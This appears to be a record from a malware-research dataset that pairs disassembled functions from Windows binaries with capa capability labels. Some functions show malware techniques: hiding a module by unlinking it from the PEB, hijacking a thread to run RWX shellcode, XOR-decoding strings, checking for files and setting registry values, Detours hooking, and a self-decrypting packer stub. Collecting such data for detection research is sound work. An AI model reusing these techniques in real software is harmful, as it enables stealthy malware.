joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001de50
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001de8e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001de92
cmp edx, esi
jne 0x1001de77
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001deb2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001deb6
cmp edx, esi
jne 0x1001de9b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001ded6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001deda
cmp edx, esi
jne 0x1001debf
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001def0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x10054914]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x1001df20
push 0x3f69cdbb
lea ecx, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10014000
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 0x1c], 0
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
lea esi, [eax + 0x23]
mov word [ebp - 8], 0
lea eax, [ebp - 0x2f8]
mov byte [ebp - 6], 0
push eax
push 0x40
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x240]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10027a55
mov esp, ebp
pop ebp
ret
Function at 0x1001e110
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x1005c1c4]
xor eax, esp
mov dword [esp + 0x88], eax
push esi
mov dword [esp + 0xc], 0
mov edx, 0xf
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.LMEZZQY_KEYnnnqmSLLVPH]
xor al, dl
mov byte [esp + ecx + 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x18
jb 0x1001e140
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x30]
push eax
mov byte [esp + 0x4c], 0
call esi
test eax, eax
jne 0x1001e212
mov edx, 0x15
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.V_Kxnz_pg_wHDF]
xor al, dl
mov byte [esp + ecx + 0x10], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1001e180
lea eax, [esp + 0x10]
mov byte [esp + 0x1f], 0
push eax
call esi
test eax, eax
jne 0x1001e212
mov edx, 6
xor ecx, ecx
nop
mov al, byte [ecx + str.BTMk]
xor al, dl
mov byte [esp + ecx + 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1001e1b0
lea eax, [esp + 0x20]
mov byte [esp + 0x2f], 0
push eax
call esi
test eax, eax
jne 0x1001e212
mov eax, 0x1005586c
lea ecx, [esp + 0x6c]
sub eax, 0x32593faf
push eax
call fcn.1001fd80
push eax
call esi
test eax, eax
jne 0x1001e212
mov eax, str.S_Kxnz_pg_wHDF
lea ecx, [esp + 0x7c]
sub eax, 0x43f2140e
push eax
call fcn.1001fdc0
push eax
call esi
test eax, eax
jne 0x1001e212
xor al, al
jmp 0x1001e214
mov al, 1
test al, al
jne 0x1001e311
mov edx, 6
xor ecx, ecx
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [esp + ecx + 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x1001e223
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
lea eax, [esp + 0x3c]
mov byte [esp + 0x77], 0
push eax
push connect
call esi
test eax, eax
jne 0x1001e299
push 4
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 4
push 0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x75526f4e
push eax
push dword [esp + 0x18]
mov word [esp + 0x2c], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x100558d8]
xor al, dl
mov byte [esp + ecx + 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x1001e2a0
lea eax, [esp + 0xc]
mov byte [esp + 0x5a], 0
push eax
push 0xf003f
push 0
lea eax, [esp + 0x3c]
push eax
push connect
call esi
test eax, eax
jne 0x1001e311
mov dword [esp + 8], eax
lea ecx, [esp + 0x10]
push 4
lea eax, [esp + 0xc]
push eax
push 4
mov eax, 0x10055918
push 0
sub eax, 0x38d41ae2
push eax
call fcn.1001fe00
push eax
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x8c]
pop esi
xor ecx, esp
call fcn.10027a55
mov esp, ebp
pop ebp
ret
Function at 0x1001fd80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x34
xor eax, eax
mov dl, byte [edi + eax + 0x32593faf]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x1001fd91
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x1001fdc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x15
xor eax, eax
mov dl, byte [edi + eax + 0x43f2140e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xf
jb 0x1001fdd1
pop edi
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x100205b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10020760
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1002067d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x100205fa
mov eax, dword [ebp - 4]
cmp eax, dword [0x1005c004]
ja 0x100205fa
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x100205ca
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1002ab80
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10020620
jmp 0x1002067d
cmp dword [ebp - 0x14], 0x10000
jne 0x10020663
cmp dword [ebp - 0x18], 0x10000
jb 0x10020663
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10020656
mov eax, dword [ebp - 8]
jmp 0x1002067f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10020678
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10020760
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100205ca
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10020690
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10020790
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10020755
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x100206d5
mov eax, dword [ebp - 4]
cmp eax, dword [0x1005c004]
ja 0x100206d5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x100206a5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1002ab80
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100206fb
jmp 0x10020755
cmp dword [ebp - 0x14], 0x10000
jne 0x1002073e
cmp dword [ebp - 0x18], 0x10000
jb 0x1002073e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10020731
mov eax, dword [ebp - 8]
jmp 0x10020757
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10020750
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10020790
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100206a5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100207c0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10020bb0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x101a96fc], 0
jne 0x100207fd
cmp dword [0x101a96f8], 0
je 0x100207fd
mov eax, dword [0x101a96f8]
mov dword [0x101a96fc], eax
cmp dword [0x101a96fc], 0
je 0x1002087a
mov ecx, dword [0x101a96fc]
cmp dword [ecx + 8], 0
je 0x1002087a
mov edx, dword [0x101a96fc]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1002087a
mov ecx, dword [0x101a96fc]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1002087a
mov eax, dword [0x101a96fc]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10020849
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10020850
xor eax, eax
jmp 0x10020999
mov ecx, dword [0x101a96fc]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.1002ab80
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10020999
mov edx, dword [0x101a96f8]
mov dword [0x101a96fc], edx
jmp 0x10020896
mov eax, dword [0x101a96fc]
mov ecx, dword [eax + 4]
mov dword [0x101a96fc], ecx
cmp dword [0x101a96fc], 0
je 0x100208d6
cmp dword [0x101a96fc], 0
je 0x100208d4
mov edx, dword [0x101a96fc]
cmp dword [edx + 8], 0
je 0x100208d4
mov eax, dword [0x101a96fc]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x100208d4
mov edx, dword [0x101a96fc]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x100208d4
jmp 0x1002082e
jmp 0x10020888
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100209a0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10020997
mov eax, dword [ebp - 0x18]
mov dword [0x101a96fc], eax
mov ecx, dword [0x101a96fc]
mov dword [ecx], 0x52727464
mov edx, dword [0x101a96fc]
mov dword [edx + 8], 0
mov eax, dword [0x101a96fc]
mov ecx, dword [0x101a96f8]
mov dword [eax + 4], ecx
mov edx, dword [0x101a96fc]
mov dword [0x101a96f8], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x101a96fc]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10020967
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10020987
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1002095e
mov eax, dword [0x101a96fc]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1002082e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10036e77
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10036cf6

Function at 0x1003c9b3
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003c673
Function at 0x5240f6
Capabilities:
Packed with generic packer

Disassembly:
sbb esp, dword [eax]
pop ecx
pop es
imul ebx, dword [eax], 0xffffffdb
invalid
push 0x3a
outsb dx, byte [esi]
jmp 0x5240b3
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e84
nop
nop
mov ecx, 0x62125de4
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x23523956
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x406520
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x4334c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x4343bc]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x24c], ebx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x434100]
cmp eax, dword [ecx + 4]
jg 0x4066e7
cmp dword [0x433498], 0
jne 0x4066ca
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
call fcn.00407300
test al, al
jne 0x4065d9
push esi
lea eax, [ebp - 0x1c]
push str._05d
push eax
call fcn.00401250
mov esi, eax
add esp, 0xc
cmp esi, 0x433488
je 0x4066c1
mov ecx, dword [0x43349c]
cmp ecx, 0xf
jbe 0x40667e
mov edx, dword [0x433488]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406674
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40671d
jmp 0x406674
push edi
push 0
push 2
mov dword [ebp - 0x24c], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x228
mov edi, eax
lea eax, [ebp - 0x244]
push 0
push eax
call fcn.0040fb60
add esp, 0xc
mov dword [ebp - 0x248], 0x22c
lea eax, [ebp - 0x248]
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x406647
cmp dword [ebp - 0x240], esi
je 0x40663b
lea eax, [ebp - 0x248]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x406620
jmp 0x406647
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x24c], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 0x24c]
lea eax, [ebp - 0x1c]
push str._05d__05d
push eax
call fcn.00401250
add esp, 0x10
mov esi, eax
cmp esi, 0x433488
pop edi
jmp 0x406596
push ecx
push edx
call fcn.0040e136
add esp, 8
mov dword [0x433498], 0
mov dword [0x43349c], 0xf
mov byte [0x433488], 0
movups xmm0, xmmword [esi]
movups xmmword [0x433488], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x433498], xmm0
mov dword [esi + 0x10], 0
mov byte [esi], 0
mov dword [esi + 0x14], 0xf
lea ecx, [ebp - 0x1c]
call fcn.004014b0
pop esi
push 0x433488
mov ecx, ebx
call fcn.004027e0
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040e144
mov esp, ebp
pop ebp
ret
push 0x434100
call fcn.0040e417
add esp, 4
cmp dword [0x434100], 0xffffffff
jne 0x40655d
push 0x4274f0
call fcn.0040e3b1
push 0x434100
call fcn.0040e3c6
add esp, 8
jmp 0x40655d
call fcn.0041154f
int3
Function at 0x406730
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426736
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x4334c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
mov dword [ebp - 0x24c], esi
call fcn.0040fb60
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
push 0x7e
push eax
call fcn.0040f860
lea ecx, [ebp - 0x218]
add esp, 8
mov edx, eax
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4067b5
sub ecx, edi
mov dword [ebp - 0x220], 0
sar ecx, 1
lea eax, [ebp - 0x218]
mov dword [ebp - 0x21c], 0
xorps xmm0, xmm0
push ecx
lea ecx, [ebp - 0x230]
movups xmmword [ebp - 0x230], xmm0
push eax
test edx, edx
je 0x4068ae
call fcn.00401f10
lea eax, [ebp - 0x230]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.0040b930
push eax
push esi
mov byte [ebp - 4], 1
call fcn.00406d40
mov ecx, dword [ebp - 0x234]
add esp, 0x10
cmp ecx, 0xf
jbe 0x40685f
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406855
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4068f3
push ecx
push edx
call fcn.0040e136
add esp, 8
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x4068d6
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4068cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4068f3
jmp 0x4068cc
call fcn.00401f10
lea eax, [ebp - 0x230]
mov dword [ebp - 4], 2
push eax
push esi
call fcn.0040b930
add esp, 8
jmp 0x40687a
push ecx
push edx
call fcn.0040e136
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e144
mov esp, ebp
pop ebp
ret
call fcn.0041154f
int3
Function at 0x40eb90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40ebcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40ebcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40ebcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40ebcf
cmp dword [ecx + 0x74], 0xe
jbe 0x40ebcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x419c94
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00419c16

Function at 0x41c52e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x434a98]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41c56e
cmp byte [ebx], 0xa
jne 0x41c56e
or byte [edi + eax + 0x28], 4
jmp 0x41c573
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41c672
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41c655
inc eax
cmp dl, 0xd
je 0x41c59f
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41c5c5
cmp eax, ecx
jae 0x41c5d3
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41c587
jmp 0x41c672
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c650
cmp dword [ebp - 0x10], 0
je 0x41c650
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x434a98]
test byte [eax + edi + 0x28], 0x48
je 0x41c62a
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41c615
mov byte [esi], dl
jmp 0x41c626
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x434a98]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41c672
cmp byte [ebp - 1], 0xa
jne 0x41c639
cmp esi, ebx
jne 0x41c639
mov byte [esi], 0xa
jmp 0x41c671
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041cf7d
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41c672
mov byte [esi], 0xd
jmp 0x41c671
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x434a98]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41c66f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41c672
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41c67b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x434a98]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41c6c1
cmp word [ebx], dx
jne 0x41c6c1
or byte [eax + edi + 0x28], 4
jmp 0x41c6c6
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41c829
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41c809
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41c707
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41c73d
cmp eax, edx
jae 0x41c74b
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41c6e2
jmp 0x41c829
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c804
cmp dword [ebp - 0x18], 0
je 0x41c804
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x434a98]
test byte [eax + edi + 0x28], 0x48
je 0x41c7da
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41c79e
mov word [esi], cx
jmp 0x41c7d5
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x434a98]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x434a98]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x434a98]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41c829
pop eax
cmp word [ebp - 4], ax
jne 0x41c7ea
cmp esi, ebx
jne 0x41c7ea
mov word [esi], ax
jmp 0x41c826
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041cf7d
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41c829
push 0xd
pop eax
jmp 0x41c7e5
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x434a98]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41c823
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41c829
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret